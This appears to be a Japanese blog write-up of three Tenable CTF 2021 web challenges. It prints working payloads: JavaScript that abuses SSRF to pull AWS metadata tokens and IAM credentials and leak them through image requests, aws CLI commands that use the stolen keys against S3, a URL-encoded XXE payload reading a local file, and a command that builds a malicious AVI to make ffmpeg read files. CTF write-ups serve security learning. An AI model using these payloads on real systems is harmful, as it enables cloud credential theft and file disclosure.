st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Tenable CTF 2021 writeup

2/18 - 2/22という日程で開催された。zer0ptsで参加して4位。

[Web] Hacking Toolz

AWSのSSRF。

<script>
(async () => {
(new Image).src = 'a.php?start';

const token = await (await fetch(
  'http://localhost/redir.php?url=http://169.254.169.254/latest/api/token', {
    headers: {
      'X-aws-ec2-metadata-token-ttl-seconds': '21600'
    },
    mode: 'cors',
    method: 'PUT'
  }
)).text();
(new Image).src = 'a.php?' + token;

const res = await (await fetch(
  'http://localhost/redir.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials', {
    headers: {
      'X-aws-ec2-metadata-token': token
    },
    mode: 'cors'
  }
)).text();
(new Image).src = 'a.php?' + encodeURIComponent(res); // => S3Role
})()
</script>

http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role が返す AccessKeyIdSecretAccessKey などを使ってS3バケットを覗くとフラグが得られる。

$ export AWS_ACCESS_KEY_ID='...'
$ export AWS_SECRET_ACCESS_KEY='...'
$ export AWS_SESSION_TOKEN='...'
$ aws s3 ls
2021-01-12 16:37:04 secretdocs
$ aws s3 ls s3://secretdocs
2021-01-12 18:22:24        241 leviathan.txt
$ aws s3 cp s3://secretdocs/leviathan.txt .
download: s3://secretdocs/leviathan.txt to ./leviathan.txt
$ cat leviathan.txt
no sound, once made, is ever truly lost
in electric clouds, all are safely trapped
and with a touch, if we find them
we can recapture those echoes of sad, forgotten wars
long summers, and sweet autumns

flag{cl0udy_with_a_chance_0f_flag5}

[Web] Send A Letter

XXE。

http://challenges.ctfd.io:30471/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3C!DOCTYPE%20hoge%20[%20%3C!ENTITY%20xxe%20SYSTEM%20%22/tmp/messages_outbound.txt%22%3E%20]%3E%3Cletter%3E%3Cfrom%3Ea%3C/from%3E%3Creturn_addr%3Eb%3C/return_addr%3E%3Cname%3E%26xxe;%3C/name%3E%3Caddr%3Ed%3C/addr%3E%3Cmessage%3Ee%3C/message%3E%3C/letter%3E

[Web] Thumbnail

ffmpegを使って安易に動画のサムネイルを作成しようとすると、細工した動画ファイルが来たときにローカルのファイルを読み出せてしまうというやつ。neex/ffmpeg-avi-m3u-xbinを使って python ffmpeg-avi-m3u-xbin/gen_xbin_avi.py file:///var/www/html/uploads/flag.txt exp.avi で生成された動画をアップロードするとフラグが得られる。